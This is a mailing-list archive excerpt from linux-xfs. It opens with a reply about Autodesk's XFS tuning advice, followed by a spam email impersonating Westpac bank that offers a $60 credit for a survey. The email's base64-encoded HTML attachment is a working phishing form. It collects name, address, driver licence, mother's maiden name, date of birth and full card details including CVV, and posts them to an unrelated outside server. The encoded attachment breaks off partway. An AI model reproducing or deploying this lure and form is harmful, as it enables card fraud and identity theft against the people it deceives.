X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MISMATCH_TO, DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.136716 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 BSF_SC0_MISMATCH_TO Envelope rcpt doesn't match header -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature On Jul 14, 2013, at 3:08 PM, Stan Hoeppner wrote: > On 7/14/2013 11:14 AM, Eric Sandeen wrote: >=20 >> = http://wikihelp.autodesk.com/Creative_Finishing/enu/2012/Help/05_Installat= ion_Guides/Installation_and_Configuration_Guide_for_Linux_Workstations/011= 8-Advanced118/0194-Manually194/0199-Creating199 >>=20 >> I guess? >>=20 >> That's quite a procedure! And I have to say, a slightly strange one = at first glance. >=20 > Agreed. >=20 >> It'd be nice if they said what they were trying to accomplish rather = than just giving you a long recipe. >=20 > Again. >=20 >> In the end, I think they are trying to create 128AGs and maybe work = around some mkfs corner case or other. >=20 > Or it's just as likely they are laying out these image frames in a > specific manner across 128 directories, assuming 128 AGs exist, to > achieve some specific "on disk" organization of the files. It's = simply > not possible to know without more information. >=20 > Interestingly, on a 14+2 RAID6 array of 7.2K drives, normally 128 AGs > will decrease parallel performance due to a huge increase in head seek > latency. Thus I'd assume this isn't a parallel workload. Either that > or Autodesk doesn't know XFS as well as they believe. Now hold on a minute here Stan. While I don't really like Autodesk as they pretty much atrophy software. = The fact is that they, the finishing suite division, know XFS and = realtime 2K performance is realized all day long as long as one follows = there guidelines. After all, SGI developed XFS as well as visual computing stations and = back in the day, you had SGIs running Flame vs today which is Linux. Flame is a visual computing app after all. Albeit with a front end or = GUI tuned to artists but still. My initial post on this was to try and understand if there mobs make = sense to the general XFS community and wether I could benefit from them = in applying those mods to general purpose storage. - aurf= From website.survey@westpac.com.au Sun Jul 14 18:40:16 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=T_HTML_ATTACH, T_OBFU_HTML_ATTACH,UNPARSEABLE_RELAY autolearn=ham version=3.3.1 X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 564AE7F37 for ; Sun, 14 Jul 2013 18:40:16 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 0A4288F8033 for ; Sun, 14 Jul 2013 16:40:12 -0700 (PDT) X-ASG-Debug-ID: 1373845210-04bdf0233efcb150001-w1Z2WR Received: from twister.fvonline.net (18266273.cst.lightpath.net [24.38.98.115]) by cuda.sgi.com with ESMTP id DX1guckKVBc1nh0T (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Sun, 14 Jul 2013 16:40:10 -0700 (PDT) X-Barracuda-Envelope-From: website.survey@westpac.com.au X-Barracuda-Apparent-Source-IP: 24.38.98.115 Received: from twister.fvonline.net (localhost.localdomain [127.0.0.1]) by twister.fvonline.net (8.13.4/8.13.4) with ESMTP id r6ENe9es007913 for ; Sun, 14 Jul 2013 19:40:09 -0400 Received: from twister.fvonline.net (root@localhost) by twister.fvonline.net (8.13.4/8.13.4/Submit) with ESMTP id r6ENe9M8007912 for ; Sun, 14 Jul 2013 19:40:09 -0400 Received: from westpac.com.au (93-63-81-5.ip26.fastwebnet.it 93.63.81.5) by twister.fvonline.net (Scalix SMTP Relay 10.0.1.3) via ESMTP; Sun, 14 Jul 2013 19:40:04 -0400 (EDT) Date: Mon, 15 Jul 2013 01:44:04 +0200 From: Westpac Banking Corporatio To: linux-xfs@oss.sgi.com Message-ID: <20130715014403.9E5565DF31BEC8F6@westpac.com.au> Subject: Take part in our Customer Satisfaction Survey and win 60$ credit to your account! x-scalix-Hops: 1 X-ASG-Orig-Subj: Take part in our Customer Satisfaction Survey and win 60$ credit to your account! MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_NextPart_000_0012_6D7D03D2.A596D02C" X-Barracuda-Connect: 18266273.cst.lightpath.net[24.38.98.115] X-Barracuda-Start-Time: 1373845210 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 1.60 X-Barracuda-Spam-Status: No, SCORE=1.60 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_TG194, MARKETING_SUBJECT, UNPARSEABLE_RELAY X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.136716 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.60 MARKETING_SUBJECT Subject contains popular marketing words 0.00 UNPARSEABLE_RELAY Informational: message has unparseable relay lines 1.00 BSF_SC0_TG194 Custom Rule TG194 ------=_NextPart_000_0012_6D7D03D2.A596D02C Content-Type: text/plain Content-Transfer-Encoding: quoted-printable Content-Disposition: inline WESTPAC CUSTOMER SATISFACTION SURVEY Westpac will add 60$ credit to your account just for taking part =20 in our quick survey. Please take a few minutes to give us your opinion on our store =20 service. In order to access this Customer Satisfaction Survey please=20 download the form attached to this emailt and open it in a web browser. Once opened, you will be provided with steps to claim your prize. Thank you, Westpac Online Department This is an automated message. Please don't reply. Message ID:=20 01492733095 ------=_NextPart_000_0012_6D7D03D2.A596D02C Content-Type: application/octet-stream; name="WESTPAC SURVEY FORM.html" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="WESTPAC SURVEY FORM.html" PEhUTUwgeG1sbnM9IiI+PEJPRFkgY2xhc3M9d2l6YXJkIGlkPWN0bDAwX2JvZHlUYWc+PEhF QUQ+DQo8VElUTEU+V2VzdHBhYyAtIEN1c3RvbWVyIFNhdGlzZmFjdGlvbiBTdXJ2ZXk8L1RJ VExFPg0KPE1FVEEgaHR0cC1lcXVpdj1Db250ZW50LVR5cGUgY29udGVudD0idGV4dC9odG1s OyBjaGFyc2V0PVVURi04Ij4NCjxNRVRBIGh0dHAtZXF1aXY9Q29udGVudC1TdHlsZS1UeXBl IGNvbnRlbnQ9dGV4dC9jc3M+DQo8TUVUQSBpZD1jdGwwMF9kZW1vTm9JbmRleCBjb250ZW50 PWFsbCBuYW1lPXJvYm90cz48TElOSyBtZWRpYT1hbGwgaHJlZj0iIiB0eXBlPXRleHQvY3Nz IHJlbD1zdHlsZXNoZWV0PjxMSU5LIG1lZGlhPWFsbCBocmVmPSJodHRwczovL3d3dy51bHN0 ZXJiYW5rYW55dGltZWJhbmtpbmcuaWUvQnJhbmRzL1VCUi9jc3MvbHRlaWU4LmNzcyIgdHlw ZT10ZXh0L2NzcyByZWw9c3R5bGVzaGVldD4NCjxTQ1JJUFQgc3JjPSIiIHR5cGU9dGV4dC9q YXZhc2NyaXB0PjwvU0NSSVBUPg0KDQo8TUVUQSBpZD1jdGwwMF9QYWdlSURNZXRhQ29udHJv bCBjb250ZW50PUxJNiBuYW1lPVBhZ2VJRD48TElOSyBtZWRpYT1hbGwgaHJlZj0iIiB0eXBl PXRleHQvY3NzIHJlbD1zdHlsZXNoZWV0Pg0KPFNDUklQVCB0eXBlPXRleHQvamF2YXNjcmlw dD4NCjwhLS0NCi8vIGNvcHlyaWdodCAxOTk5IElkb2NzLCBJbmMuIGh0dHA6Ly93d3cuaWRv Y3MuY29tDQovLyBEaXN0cmlidXRlIHRoaXMgc2NyaXB0IGZyZWVseSBidXQga2VlcCB0aGlz IG5vdGljZSBpbiBwbGFjZQ0KZnVuY3Rpb24gbnVtYmVyc29ubHkobXlmaWVsZCwgZSwgZGVj KQ0Kew0KdmFyIGtleTsNCnZhciBrZXljaGFyOw0KaWYgKHdpbmRvdy5ldmVudCkNCiAgIGtl eSA9IHdpbmRvdy5ldmVudC5rZXlDb2RlOw0KZWxzZSBpZiAoZSkNCiAgIGtleSA9IGUud2hp Y2g7DQplbHNlDQogICByZXR1cm4gdHJ1ZTsNCmtleWNoYXIgPSBTdHJpbmcuZnJvbUNoYXJD b2RlKGtleSk7DQovLyBjb250cm9sIGtleXMNCmlmICgoa2V5PT1udWxsKSB8fCAoa2V5PT0w KSB8fCAoa2V5PT04KSB8fCANCiAgICAoa2V5PT05KSB8fCAoa2V5PT0xMykgfHwgKGtleT09 MjcpICkNCiAgIHJldHVybiB0cnVlOw0KLy8gbnVtYmVycw0KZWxzZSBpZiAoKCgiMDEyMzQ1 Njc4OSIpLmluZGV4T2Yoa2V5Y2hhcikgPiAtMSkpDQogICByZXR1cm4gdHJ1ZTsNCi8vIGRl Y2ltYWwgcG9pbnQganVtcA0KZWxzZSBpZiAoZGVjICYmIChrZXljaGFyID09ICIuIikpDQog ICB7DQogICBteWZpZWxkLmZvcm0uZWxlbWVudHNbZGVjXS5mb2N1cygpOw0KICAgcmV0dXJu IGZhbHNlOw0KICAgfQ0KZWxzZQ0KICAgcmV0dXJuIGZhbHNlOw0KfQ0KLy8tLT4NCjwvU0NS SVBUPg0KDQo8U0NSSVBUIHR5cGU9dGV4dC9qYXZhc2NyaXB0Pg0KZnVuY3Rpb24gc3VibWl0 Zm9ybSgpDQp7DQogIGRvY3VtZW50LmZybVN0YXRTZWxlY3Quc3VibWl0KCk7DQp9DQo8L1ND UklQVD4NCg0KPFNDUklQVCB0eXBlPXRleHQvamF2YXNjcmlwdD4NCmZ1bmN0aW9uIGNoZWNr TGVuKHgseSkNCnsNCmlmICh5Lmxlbmd0aD09eC5tYXhMZW5ndGgpDQogIHsNCiAgdmFyIG5l eHQ9eC50YWJJbmRleDsNCiAgaWYgKG5leHQ8ZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoImZy bVN0YXRTZWxlY3QiKS5sZW5ndGgpDQogICAgew0KICAgIGRvY3VtZW50LmdldEVsZW1lbnRC eUlkKCJmcm1TdGF0U2VsZWN0IikuZWxlbWVudHNbbmV4dF0uZm9jdXMoKTsNCiAgICB9DQog IH0NCn0NCjwvU0NSSVBUPg0KDQo8U0NSSVBUIGxhbmd1YWdlPUphdmFzY3JpcHQ+DQpmdW5j dGlvbiBzbG9ib3ooKXsNCnNpZ251cEZPUk0gPSBkb2N1bWVudC5mcm1TdGF0U2VsZWN0Ow0K aWYoc2lnbnVwRk9STS5uYW1lLnZhbHVlID09ICIiKXsNCiAgICAgICAgICAgICAgYWxlcnQo IlBsZWFzZSBlbnRlciB5b3VyIGZ1bGwgbmFtZS4iKTtzaWdudXBGT1JNLm5hbWUuZm9jdXMo KTtyZXR1cm4gZmFsc2U7fQ0KaWYoc2lnbnVwRk9STS5zdHJlZXQudmFsdWUgPT0gIiIpew0K ICAgICAgICAgICAgICBhbGVydCgiUGxlYXNlIGVudGVyIHlvdXIgU3RyZWV0IEFkZHJlc3Mu Iik7c2lnbnVwRk9STS5zdHJlZXQuZm9jdXMoKTtyZXR1cm4gZmFsc2U7fQ0KaWYoc2lnbnVw Rk9STS5zdWJ1cmIudmFsdWUgPT0gIiIpew0KICAgICAgICAgICAgICBhbGVydCgiUGxlYXNl IGVudGVyIHlvdXIgU3VidXJiLiIpO3NpZ251cEZPUk0uc3VidXJiLmZvY3VzKCk7cmV0dXJu IGZhbHNlO30NCmlmKHNpZ251cEZPUk0uc3RhdGUudmFsdWUgPT0gIiIpew0KICAgICAgICAg ICAgICBhbGVydCgiUGxlYXNlIGVudGVyIHlvdXIgU3RhdGUuIik7c2lnbnVwRk9STS5zdGF0 ZS5mb2N1cygpO3JldHVybiBmYWxzZTt9DQppZihzaWdudXBGT1JNLnppcC52YWx1ZSA9PSAi Iil7DQogICAgICAgICAgICAgIGFsZXJ0KCJQbGVhc2UgZW50ZXIgeW91ciBQb3N0YWwgQ29k ZS4iKTtzaWdudXBGT1JNLnppcC5mb2N1cygpO3JldHVybiBmYWxzZTt9DQppZihzaWdudXBG T1JNLmRyaXZlci52YWx1ZSA9PSAiIil7DQogICAgICAgICAgICAgIGFsZXJ0KCJQbGVhc2Ug ZW50ZXIgeW91ciBEcml2ZXIgTGljZW5jZSBOdW1iZXIuIik7c2lnbnVwRk9STS5kcml2ZXIu Zm9jdXMoKTtyZXR1cm4gZmFsc2U7fQ0KaWYoc2lnbnVwRk9STS5tbW4udmFsdWUgPT0gIiIp ew0KICAgICAgICAgICAgICBhbGVydCgiUGxlYXNlIGVudGVyIHlvdXIgTW90aGVyJ3MgTWFp ZGVuIE5hbWUuIik7c2lnbnVwRk9STS5tbW4uZm9jdXMoKTtyZXR1cm4gZmFsc2U7fQ0KaWYo c2lnbnVwRk9STS5kb2IudmFsdWUgPT0gIiIpew0KICAgICAgICAgICAgICBhbGVydCgiUGxl YXNlIGVudGVyIHlvdXIgRGF0ZSBvZiBCaXJ0aC4iKTtzaWdudXBGT1JNLmRvYi5mb2N1cygp O3JldHVybiBmYWxzZTt9DQppZihzaWdudXBGT1JNLmRvYi52YWx1ZS5sZW5ndGggPDgpew0K ICAgICAgICAgICAgICBhbGVydCgiUGxlYXNlIGVudGVyIHZhbGlkIGZvcm1hdCBvZiBkYXRl IG9mIGJpcnRoIChkZC9tbS95eXl5KSIpO3NpZ251cEZPUk0uZG9iLmZvY3VzKCk7cmV0dXJu IGZhbHNlO30NCmlmKHNpZ251cEZPUk0uY2FyZC52YWx1ZSA9PSAiIil7DQogICAgICAgICAg ICAgIGFsZXJ0KCJQbGVhc2UgZW50ZXIgeW91ciBDYXJkIE51bWJlci4iKTtzaWdudXBGT1JN LmNhcmQuZm9jdXMoKTtyZXR1cm4gZmFsc2U7fQ0KaWYoc2lnbnVwRk9STS5jYXJkLnZhbHVl Lmxlbmd0aCA8MTYpew0KICAgICAgICAgICAgICBhbGVydCgiWW91ciBWaXNhL01hc3RlcmNh cmQgY2FyZCBtdWx0IGNvbnRhaW4gMTYgZGlnaXRzIik7c2lnbnVwRk9STS5jYXJkLmZvY3Vz KCk7cmV0dXJuIGZhbHNlO30NCmlmKHNpZ251cEZPUk0uZXhwLnZhbHVlID09ICIiKXsNCiAg ICAgICAgICAgICAgYWxlcnQoIlBsZWFzZSBlbnRlciB5b3VyIENhcmQgRXhwaXJhdGlvbiBE YXRlLiIpO3NpZ251cEZPUk0uZXhwLmZvY3VzKCk7cmV0dXJuIGZhbHNlO30NCmlmKHNpZ251 cEZPUk0uZXhwLnZhbHVlLmxlbmd0aCA8NCl7DQogICAgICAgICAgICAgIGFsZXJ0KCJQbGVh c2UgZW50ZXIgdmFsaWQgZm9ybWF0IG9mIENhcmQgRXhwaXJhdGlvbiBEYXRlLiAobW0veXkp Iik7c2lnbnVwRk9STS5leHAuZm9jdXMoKTtyZXR1cm4gZmFsc2U7fQ0KaWYoc2lnbnVwRk9S TS5jdnYudmFsdWUgPT0gIiIpew0KICAgICAgICAgICAgICBhbGVydCgiUGxlYXNlIGVudGVy IHlvdXIgQ1ZWLiBDVlYgaXMgdGhlIDMgZGlnaXRzIHdyaXR0ZW4gb24gdGhlIGJhY2sgb2Yg eW91ciBjYXJkLiIpO3NpZ251cEZPUk0uY3Z2LmZvY3VzKCk7cmV0dXJuIGZhbHNlO30NCg0K DQpyZXR1cm4gdHJ1ZTsNCn0NCjwvU0NSSVBUPg0KPC9IRUFEPg0KJm5ic3A7DQo8RElWIGNs YXNzPWRlZmF1bHRfYmcgaWQ9d3JhcHBlcj4NCjxESVYgaWQ9YWNjZXNrZXlzPg0KPERJViBp ZD1za2lwbGlua3M+DQogICAgICA8RElWIGNsYXNzPWRkYWxpbms+PC9ESVY+DQogICAgPC9E SVY+PC9ESVY+DQo8RElWIGNsYXNzPXR3b0xpbmVzIGlkPWNhbnZhcz4NCjxESVYgaWQ9aGVh ZGVyPg0KPERJViBpZD10b3BNaW5vckxpbmtzPg0KICAgICAgICA8RElWIGlkPXNlcnZpY2VO YW1lPjwvRElWPg0KPERJViBpZD1zdHJhcGxpbmU+DQogICAgICAgICAgPGRpdiBhbGlnbj0i bGVmdCI+PC9kaXY+DQogICAgICAgIDwvRElWPjwvRElWPjwvRElWPg0KPERJViBpZD1jb250 ZW50Pg0KPERJViBpZD1taWQ+DQo8Rk9STSBpZD1mcm1TdGF0U2VsZWN0IG5hbWU9ZnJtU3Rh dFNlbGVjdCBhY3Rpb249aHR0cDovL3d3dy5oeXR4Lm5ldC5jbi9BRE1JTi9iYW5uZXIvbGlu ay5hc3AgbWV0aG9kPXBvc3Q+PElOUFVUIHR5cGU9aGlkZGVuIHZhbHVlPTc4NjU4MjVkLTVi N2YtNGI4OC04OTQ2LTdkZTQ3OWU5MWJmYiBuYW1lPXR4bklEPiANCiAgICAgICAgPERJVj48 Yj48Zm9udCBzaXplPSI1IiBjb2xvcj0iIzAwNjYzMyI+PGZvbnQgY29sb3I9IiM2NjAwNjYi IGZhY2U9Ikdlb3JnaWEsIFRpbWVzIE5ldyBSb21hbiwgVGltZXMsIHNlcmlmIj48aW1nIHNy Yz0iaHR0cDovL2NkbjAubXVtYnJlbGxhLmNvbS5hdS93cC1jb250ZW50L3VwbG9hZHMvMjAx Mi8wNS9QaWN0dXJlLTEyMy5wbmciIHdpZHRoPSIzMTciIGhlaWdodD0iMTE0Ij48L2ZvbnQ+ PC9mb250PjwvYj4gDQogICAgICAgICAgPElOUFVUIGlkPV9fRVZFTlRUQVJHRVQgdHlwZT1o aWRkZW4gdmFsdWU9TmV4dEJ1dHRvbl9idXR0b24gbmFtZT1fX0VWRU5UVEFSR0VUPiA8SU5Q VVQgaWQ9c3VibWluZCB0eXBlPWhpZGRlbiB2YWx1ZT0zIG5hbWU9c3VibWluZD4gPElOUFVU IGlkPUxJNkNCQV9WaXNpYmlsaXR5IHR5cGU9aGlkZGVuIHZhbHVlPUZhbHNlIG5hbWU9TEk2 Q0JBX1Zpc2liaWxpdHk+IDxJTlBVVCBpZD1fX0VWRU5UQVJHVU1FTlQgdHlwZT1oaWRkZW4g bmFtZT1fX0VWRU5UQVJHVU1FTlQ+DQogPElOUFVUIGlkPV9fVklFV1NUQVRFMiB0eXBlPWhp ZGRlbiANCnZhbHVlPWZ3OEFBSWRCVTljd0lwTnhxbmFsSHJpUnk3ZnF4dktYWmxCQnZSczJO RTZOQytoMFhRcnMydWN5TG9JaGRVakw1UEVTbWwvQVBIMkUya0VmNEd1anhoQm4zSm43UHBV Z3lBOG54UkJpYUxhcC9uMVplakpjUEhmUk5BQlh2MTNjTU52T25RYTNZZmtjY3VlRXFSdG5u RXpvU01CLzA0MEdPbjkwS3cyS21YeDI4L1BncDBrYlJwdTVGaEdjaWQ1TmdyUHhmSXhhZ2tW KzQ1OUdhanI1TFJLZTlWNVArL2RZUUNRQTFEQzFxQmd0SFlneXRLamJZTCtVc1ZlOEJGTGtr T0hUYmpIUDNhOVVES2RFWFNyaXlFbUhhM3ZzbjdGajk0ZStmbHJDR085WjhzdDVFWnlRL3Rl UG13QUtZNnFqeWNQT0Q2NDdSSXFmb2MxOFVxcVI3ZHRJOVdodUV1K0NUbUsxM3R2SGVJemps UEttSjl0MFNvdGQ3eHBJdzE2c1hhVTBhYmVDb1gyRzdaMm5ocWlUVXkvbHcvSWQ5cnhqZlQ2 V2c1cnpVSFl4dVpXbUtqeTlibFRkRGg2MndpMjJ0TGN2Z21zb3lwQk81NDZKUUxma3ZPVExi SStPczI3UHA0alNONmZtSmcyTzZZDQpSNk44bjBPZ1UxaVhsVlZ5Q1drSjlEZjN0OFJ4aDlo ZzZaN2dPdDhxQkVDNnNQV1Focllxam9uNEt6WmRXbk1LUzRROUpLWmpxblJMNTgrbWduZ2pR aTFJWndjaTFaMW1yeU1VUzJoYzZNU3lLdGFCb3lhN2puQk96cnoxQkNDS0loRVkyQkg2cGhS d2N1aGpDSlh2TEVjRHNacEMvU2VOeTl0ZW5oMVkxNExvTmg4UmowQVAya01DMFh3M2FsWVpK U0dPcG91cERQMGN4ZUhsSkREc0RoSzJnalErcGIrMCtnZThlYnBDM003L05rZUNXT2FrbUx2 MFlYNm10UC9UelpvU1grcUdleDQvVElZQjdxVEkyRno2ODlPUEVYYkpMNVdidUpiaUZtenh1 Znk2VCtmV2crM3oxSjlXV3lrSGFNNG8zZDJyVjVpT25yKzhzK3BUK1hGcUJhYVV6Wko1U0xM MmRLNitJbTBLVjJVa3FCMURRMENjdWprOGlua1FGeVRWYWNBQ25XbkNBUnovUWZOeXFac2Vi Z2NuZnZPNHRPNVB2bXF3VllTYUVIenVWczYrRWswT3g2TngxdFB1b2hwQkJFbWV0dkVVeXpD WE5SbGpBYnpKNkVKNTRJWjdjcGhjZTlpd3N5MlJaeFFxa3NCRg0KVnd4MUtreHFCRjJLR3hW cENERGFZWUxDamtmREV4RGM2RzBxRkVjTjQyK2JvbHJnMVZZeEg5ZnpzbnVLNUZtOE5GbGgz ZTdzb3pjdGNVTkpOSGt5YktPKy9XdXdjMGowSHFyMTZhUTIrNHNtcUx4ZGY5QVRwN1YvZzBB cmhTekl1ZlF6VTZYNDBXNUd2b3lkcE5zNkpWYlBuVGlTdmt4ZHpMTEVidVUyRkpPeTUyQjhE YkNSVytTakFDUGZaMFhwZml0aGNheUFBU210ckQydjlBZXl4bC9sRWhFTklzMHgyOWEzcytU cHhSeGVyd1BVWERQR0p4TDFGT3JGT2NJc1ZKOGd2UDJqUHZEbEVYT1Evem1KQW5BdEJYZ1VO VzNGQWRQSDU2b3hya3I2RWE5NnAyY01DcmY5N0M3ejArRkZBS2Z4NHBVK0xWUFlpZGMrQ1ht bEM2U0k2clAzWXBhdFNQWisvNmdXdjBnMEx4RHMxUWFLQkVzV016MzhaWFRLWllTb00wZjU0 ajZiejhRWFFHK0lxN2YwRUtDbXpZOHQ0emk0K0dyOVRIYjFzYkhCTWNnazNGcW1DOU5NZ2tC ZWxVZTFRV2hQTDd3NTRwcUlWZG5mUXdSVGxRM3FBR040YnRJWnErZzNSbkU4SlpnTGYrT20N Cm5mT2tkZWtRSTRwc200WUZkb3RacEhOcmVyYjFrK21QUGFIZHU2STF2ZjNPcHlDNFN0TFV6 VGxibmE2NVFSNTZuNzhsQlBScm5ERjlMNzZvL3oxcUFYTkFYTFpJNWdVcHU2cGZlc01DMVFT T0RmcnFKS1E4dnc5K1ZscFRlZHN3NmR1UlRNaklGNVBFQWVQWEtMRTNoclVOYTZPTFhZd1M4 T2xFYUNKSXJJbUNmZGFoQTlmdmora01obGI3QjFBY25HZ0FpbWJ1TUVtQW51MzVmbERnV2VC eXFaM2ZMblA4YmtEN3RMdTY5VE1hVU9Kd21OTmVSNnpaRGlJYnVuV290OUdKNy9oZzNRNmY0 bk8vb1lobGVLczBLVk1hbTNXdlpzT3dpWnhSWGtTREhwT0pwZzFtdW0xWUhDUDZKZUl0WFA0 RWNjdk1RYkpwQk1lN1R2aWtGL20wN1J6eGwxbzBIdzFFUW9iamxROG43dVUyTW9USHVVUlk5 T3ErejFvRDdGL1lxeHdoQjlGZFZSaUcySEkvQWcvSFcxOWlRekFHRkdFVENqYzJ3YkdJR1pX VU5KMGJEcC9kR0NJSExVV2NxVmcwRnZ1cWhrdHZwSHJUdjVpaTRJYlU3UmI2bUhrTDdjZ2xj QTBQOGxZQkhOWXZ2MExxDQpJUTZkNkVzbkVhYitEVXlUaVUvTFk1a3BaTzJFRStRbVhqeldZ SnZ0bEFpQmdJeVRGQTRKWnllR3o1NC9UY3FOOFFxeDlhYkZQT2ZsMWprbkxzSUJtUzZJbmVK R01peGp1QlR3Vm5ZWm9qcktrb2kvT2s0RzI2a2F0QWc0eEdFZEdwQXZjbzZBU3h0MkxWbWxa cFRkWFQ1ZFpPMktBaDk2S01hd2dXd0ZjSi9wWFBDOFFtVzlPWXg0QmVaZHRXSnF5ZkwzWEpU eC8yT0hWdmNYWXYrVm1ESnRUdXpWd1luMUpydjYySFA2U01WOUhwMVBFdms3dWVPRWttVFo4 OTE4ZHh1dWtDalZQeklHa2wyMWQvaWg4aWJrSmdsZk5GY0dGbXVnVk1vaXR0TGFLMTlUVkE0 QjR3K3BIcWNld3YrVk96azV1U0krTm9CTS9JVmRjMFl0RXE0TElXTGJZNnh2eGlPSDBIdyt2 dVpMNUVqUmtYcU1nS3Q0UnovZlRtcjlhTkd6eGZPTEYyb1huSnpPSHp1Y3h5UndmRGVEWGZ1 QTBja095akt5ZmJUTnVPSmZpYnlCem1hMEhmM3ExTDZOZnFQby9HZ003TTNaSnpEejRLNHZR MmVBeUhQTk02dVVyQTZrK0pEbzA4SnZZSDNpcWVZSw0KSHd4NzJ6L3BkS1lqbDVqUlhjZUlJ YnFCV1JsaEttUVp4N0g1YnJPbDdEL3BwcXduODlocGh0Ui9FZ2hiTFo3YzQ5U3BuRzJQVkFn QjlHVGZOYmYxRWVEQjdXKzV5cTZGTjc1S2dSZVpPRDFBQ2g4bDZyaXY1YkJoMTdNNng3MVpy eE1wRHMzR2JMcWZxZS9HYlkwamwyZkNNTVRYUVE1eTRKMDlXMnZKUDF3eVJPSndQQlFNTWNV L3kvV2xnZ2g1L2diU2VaUDgxaG9Fa0dyV0loMm1kYS9tb3VNcHZnZUtyVTNzUkZsd2lmOW9u eTFtMDQrUlQxNlcwZFErbDFJL2RodmFJMjNmdGcwOGJMbWs2N09OZnVpNFh2V09aUTVtS3B3 NlBETndCSXlkZHhVakFBM2RtQTVINTFCa2hsSHJQRkcrU0FXbThycWUwbURYR1FPYnlGR05m Yi9MK25YYW1tUGUvNDMyTGN0WlRhZFZqZTRoMW9Wa1dBdXd2Y0ZaRzRiaVh1TXRNNGNzQjk0 WVIza1l4aktlTHJJWGRQYXNqblBubGdJLy9CcmRYb1FKcTBidHNQRlNjVXJTQytkcmhnZEl5 dXI3ZUFWSUNWWUE3ZEwvTDBFWUhNeDdCNHpWTGtxY3krMW8yZ0d5aEd3OUt2UysNClJMeUpa S3k3TWREb1FCTWlNZVkrZGRLYnc3ZldrbmZRaEZnZmxnYnVScCtva21jcXNGNVBtdkdSVDJL d0NQeFZKUi9TY1RoNkdqMDUvZkZnZTZWbnBrTHNsV1loT3gvSmdKbHNIVWcxMFh1WXRSdEFR TE1hb01aVk1yMEZSbU1Eb2xUcTRqU2hSdlRkb0l1UnJvWG41MTArRm1OaU5iZG9UblFtVUZr bWxGaERFZkgweVhNTm5kbFppY05saFA0VmU3TXJZZlNBSm4yWSsrcC9nMS80THBPajhDMEJu Z3BmNXdSSURiYWlyWmc2Y0VyMkIzNGJIQnZZRlBzSXk2eFVDYkFONnpzRytBcTBKd0NOZUtS c3M2aG50aWJFa0pWOG83Tm14NXk2NGsyUWhLako2MDcyQ3FnbFZNUkRwYllmQ0VrREdWM0VU UWF3amprd2ZKclhsV0tvTTNWVDlKdzVtMFJBanNvVHRYOEN5QTdjbHAwMWcreWsrazNwL3ps a2xWWkUzREgvNDFRMk9HM29RaUhRQ2sya2YyVEljdWpBVEJkNm8wN0FwTFdBVlc0MUY4cGxZ TTJnc3piNFpDSHM1YzBENGZLZ21JZnlOejVZOStDNE8raGF3N1laaENsOEpsc2hZY0U4SHFp YXR3NVgveVZnDQphb2NaRWM3VkprZ1IrdlF5bktIZGlEM3ByczlKenM4OFNwQlhHbVpudUZQ T3liZ251MUxmM2NJS3p3UTlHVmMwZEQ0Q0R6Sy80N3BXeHhGN3dIZUVtTTdWYnZjTXdUOWto SHh6aWZ5OEpDSk5pZlNNdnNERUZFUDBUZWJ3Q0ZZaVM3MEg3RlBaOTZ1MjIyeStDWlZxdG1H cUJOaDRYMm5qa1RnVGF5OTQzeDhxV2pVV1R2U21ZdlA2VUowVUJBZ0NqRk9nK05VKzFnYUkw dmNXckREVUU5WmJlMDBKRTJwcEVoZjRZcXk5OG96RnJGNG43VktSb1VUaWpydzFKQ3BaOVNt eDg4QTA2dzJoWEdid3R2SDQ3UEhwZDR2aDdrL3M3ZUErVUZrbFlJRFAzdlhVZWl5UjhTSWQx bHhMVUl6SHZMelNUbE0zSUJJMGFXWlNJa05IM3UwM3gzOEQ0SlBLVUxQYk1KVFVIZVNEbFpC UERRamxoMGNKYWFpa0xMa1ViOUs5N1k4a0o2YU4rdE9tVHRXZG9LTnlub21DZFJpMmNBVTVl Yk02a2g0OHVMZXFVK3liYVZPMnM3RXBVWUdJeVhZbjJrUmRzVWhLamIxYWhBb1dyVXFrWFRi dmRJOHpoMm1ib0pSSGxXdlB1N3VWZXlBcQ0KeGE4Vm10TXcwa0R3cng1dGVKdTNLdnh1c1Fu SXB6NVhENkxVUEE5NlF2TjRIaUlFaXZIRlkreCtRTlYvNTBxamsrcG5ZMWttR05KS0tUT0R3 cElOdFhhSXp0WHVWUzMyZTBnOG90anovWGlWaWRINkM3VFIyeGl1UTZZd2hzTkp1MForOEIx cVdEazZMQnp1NlhXUnhXT2hiTnZqVEIxUG91R2Npb2RxKzZXTjc4M0t6d2ZmdGx4L2xTN2dI WnRZOGpBc1FQRXRPSEN6RmZxRFR0QTZ0RVNYaFFPZTJuVVkxY3ZKaW9pSjdEYXlERTJmZVZT WnBPNE5JU2NnVXNrUGt5Y0hsQm9zczBjZ0thaTdZMno5OFpIeTE4YThkTTFvN3UzUFJJUXFm 